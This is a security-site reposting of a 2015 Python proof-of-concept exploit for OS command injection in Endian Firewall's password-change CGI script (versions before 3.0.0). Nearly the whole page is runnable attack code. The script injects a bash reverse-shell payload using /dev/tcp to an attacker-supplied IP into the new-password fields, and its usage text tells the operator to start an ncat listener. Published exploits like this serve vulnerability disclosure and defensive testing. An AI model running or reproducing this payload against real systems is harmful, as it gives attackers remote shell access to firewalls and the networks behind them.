首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Endian Firewall < 3.0.0 - OS Command Injection (Python PoC)
来源:http://www.beneaththewaves.net/ 作者:Lincoln 发布时间:2015-07-03  
#!/usr/bin/env python
 
# Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi)
# OS Command Injection Exploit POC (Reverse TCP Shell)
# Ben Lincoln, 2015-06-28
# http://www.beneaththewaves.net/
# Requires knowledge of a valid proxy username and password on the target Endian Firewall
 
import httplib
import sys
 
proxyUserPasswordChangeURI = "/cgi-bin/chpasswd.cgi"
 
def main():
    if len(sys.argv) < 7:
        print "Endian Firewall Proxy User Password Change (/cgi-bin/chpasswd.cgi) Exploit\r\n"
        print "Usage: " + sys.argv[0] + " [TARGET_SYSTEM_IP] [TARGET_SYSTEM_WEB_PORT] [PROXY_USER_NAME] [PROXY_USER_PASSWORD] [REVERSE_SHELL_IP] [REVERSE_SHELL_PORT]\r\n"
        print "Example: " + sys.argv[0] + " 172.16.97.1 10443 proxyuser password123 172.16.97.17 443\r\n"
        print "Be sure you've started a TCP listener on the specified IP and port to receive the reverse shell when it connects.\r\n"
        print "E.g. ncat -nvlp 443"
        sys.exit(1)
 
    multipartDelimiter = "---------------------------334002631541493081770656718"
    
    targetIP = sys.argv[1]
    targetPort = sys.argv[2]
    userName = sys.argv[3]
    password = sys.argv[4]
    reverseShellIP = sys.argv[5]
    reverseShellPort = sys.argv[6]
 
    exploitString = password + "; /bin/bash -c /bin/bash -i >& /dev/tcp/" + reverseShellIP + "/" + reverseShellPort + " 0>&1;"
 
    endianURL = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI
 
    conn = httplib.HTTPSConnection(targetIP, targetPort)
    headers = {}
    headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.3.0"
    headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
    headers["Accept-Encoding"] = ""
    headers["Referer"] = "https://" + targetIP + ":" + targetPort + proxyUserPasswordChangeURI
    headers["Content-Type"] = "multipart/form-data; boundary=" + multipartDelimiter
    headers["Accept-Language"] = "en-US,en;q=0.5"
    headers["Connection"] = "keep-alive"
 
    multipartDelimiter = "--" + multipartDelimiter
 
    body = multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n"
    body = body + "change\r\n"
    body = body + multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n"
    body = body + userName + "\r\n"
    body = body + multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n"
    body = body + password + "\r\n"
    body = body + multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n"
    body = body + exploitString + "\r\n"
    body = body + multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n"
    body = body + exploitString + "\r\n"
    body = body + multipartDelimiter + "\r\n"
    body = body + "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n"
    body = body + "  Change password\r\n"
    body = body + multipartDelimiter + "--" + "\r\n"
 
    conn.request("POST", proxyUserPasswordChangeURI, body, headers)
    response = conn.getresponse()
    print "HTTP " + str(response.status) + " " + response.reason + "\r\n"
    print response.read()
    print "\r\n\r\n"
 
if __name__ == "__main__":
    main()
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Safari 8.0.X / OS X Yosemite 1
·Endian Firewall < 3.0.0 - OS C
·McAfee SiteAdvisor 3.7.2 (fire
·Blueberry Express 5.9.x SEH Bu
·Adobe Flash Player Drawing Fil
·ipTIME Remote Code Execution
·Havij OLE Automation Array Rem
·Adobe Flash Player Nellymoser
·Joomla Simple Image Upload 1.0
·WordPress S3Bubble Cloud Video
·Kguard Digital Video Recorder
·ipTIME DHCP Remote Command Exe
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved